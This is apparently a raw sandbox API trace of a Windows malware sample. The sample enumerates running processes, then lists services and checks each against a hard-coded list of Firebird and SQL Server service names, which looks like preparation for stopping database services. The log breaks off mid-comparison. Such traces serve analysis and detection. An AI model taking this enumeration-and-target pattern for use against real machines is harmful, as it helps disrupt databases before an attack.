[0118.110] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0118.111] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.111] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0118.111] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.112] lstrlenW (lpString="taskhostw.exe") returned 13 [0118.112] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0118.113] lstrlenW (lpString="UsoClient.exe") returned 13 [0118.113] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.114] lstrlenW (lpString="taskhostw.exe") returned 13 [0118.114] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0118.115] lstrlenW (lpString="msoia.exe") returned 9 [0118.115] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0118.116] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0118.116] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0118.116] lstrlenW (lpString="msoia.exe") returned 9 [0118.116] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0118.117] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0118.117] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0118.118] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0118.118] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0118.119] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0118.119] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0118.119] lstrlenW (lpString="arc obviously.exe") returned 17 [0118.119] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0118.120] lstrlenW (lpString="scholars.exe") returned 12 [0118.120] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0118.121] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0118.121] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0118.121] lstrlenW (lpString="organizing.exe") returned 14 [0118.122] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0118.123] lstrlenW (lpString="campus.exe") returned 10 [0118.123] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0118.123] lstrlenW (lpString="mug.exe") returned 7 [0118.123] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0118.124] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0118.124] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0118.125] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0118.125] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0118.126] lstrlenW (lpString="powers mixture.exe") returned 18 [0118.126] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0118.126] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0118.126] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0118.127] lstrlenW (lpString="bachelor.exe") returned 12 [0118.127] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0118.128] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0118.128] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0118.129] lstrlenW (lpString="indication wage paying.exe") returned 26 [0118.129] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0118.129] lstrlenW (lpString="thee pub emission.exe") returned 21 [0118.129] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0118.130] lstrlenW (lpString="dllhost.exe") returned 11 [0118.130] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0118.131] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0118.131] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0118.132] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0118.132] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0118.133] lstrlenW (lpString="upgrading.exe") returned 13 [0118.133] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0118.134] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0118.134] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0118.135] lstrlenW (lpString="russell.exe") returned 11 [0118.135] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.135] lstrlenW (lpString="conhost.exe") returned 11 [0118.135] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.136] lstrlenW (lpString="conhost.exe") returned 11 [0118.136] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.137] lstrlenW (lpString="svchost.exe") returned 11 [0118.137] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0118.138] lstrlenW (lpString="1csrss.exe") returned 10 [0118.139] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0118.139] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0118.139] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.140] lstrlenW (lpString="conhost.exe") returned 11 [0118.140] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.215] lstrlenW (lpString="cmd.exe") returned 7 [0118.215] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.216] lstrlenW (lpString="conhost.exe") returned 11 [0118.216] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.217] lstrlenW (lpString="svchost.exe") returned 11 [0118.217] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0118.218] lstrlenW (lpString="mode.com") returned 8 [0118.218] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0118.218] CloseHandle (hObject=0x35c) returned 1 [0118.218] Sleep (dwMilliseconds=0x1f4) [0118.734] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eede0 [0118.734] EnumServicesStatusExW (in: hSCManager=0x5eede0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0118.735] GetLastError () returned 0xea [0118.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6110e0 [0118.735] EnumServicesStatusExW (in: hSCManager=0x5eede0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0118.736] CloseServiceHandle (hSCObject=0x5eede0) returned 1 [0118.736] lstrlenW (lpString="Appinfo") returned 7 [0118.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0118.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0118.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0118.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0118.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0118.736] lstrlenW (lpString="AppXSvc") returned 7 [0118.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0118.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0118.737] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0118.737] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0118.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0118.737] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0118.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0118.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0118.737] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0118.737] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0118.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0118.737] lstrlenW (lpString="Audiosrv") returned 8 [0118.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0118.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0118.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0118.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0118.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0118.737] lstrlenW (lpString="BFE") returned 3 [0118.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0118.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0118.737] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0118.737] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0118.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0118.737] lstrlenW (lpString="BITS") returned 4 [0118.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0118.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0118.737] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0118.738] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0118.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0118.738] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0118.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0118.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0118.738] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0118.738] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0118.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0118.738] lstrlenW (lpString="CDPSvc") returned 6 [0118.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0118.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0118.738] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0118.738] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0118.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0118.738] lstrlenW (lpString="ClickToRunSvc") returned 13 [0118.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0118.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0118.738] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0118.738] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0118.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0118.738] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0118.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0118.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0118.739] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0118.739] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0118.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0118.739] lstrlenW (lpString="CryptSvc") returned 8 [0118.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0118.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0118.739] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0118.739] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0118.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0118.739] lstrlenW (lpString="DcomLaunch") returned 10 [0118.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0118.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0118.739] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0118.739] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0118.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0118.739] lstrlenW (lpString="DeviceAssociationService") returned 24 [0118.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0118.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0118.739] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0118.739] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0118.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0118.739] lstrlenW (lpString="Dhcp") returned 4 [0118.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0118.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0118.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0118.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0118.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0118.740] lstrlenW (lpString="Dnscache") returned 8 [0118.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0118.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0118.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0118.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0118.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0118.740] lstrlenW (lpString="DoSvc") returned 5 [0118.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0118.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0118.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0118.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0118.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0118.740] lstrlenW (lpString="DPS") returned 3 [0118.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0118.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0118.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0118.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0118.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0118.740] lstrlenW (lpString="DusmSvc") returned 7 [0118.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0118.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0118.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0118.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0118.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0118.740] lstrlenW (lpString="EventLog") returned 8 [0118.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0118.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0118.741] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0118.741] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0118.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0118.741] lstrlenW (lpString="EventSystem") returned 11 [0118.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0118.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0118.741] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0118.741] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0118.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0118.741] lstrlenW (lpString="FontCache") returned 9 [0118.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0118.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0118.741] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0118.741] 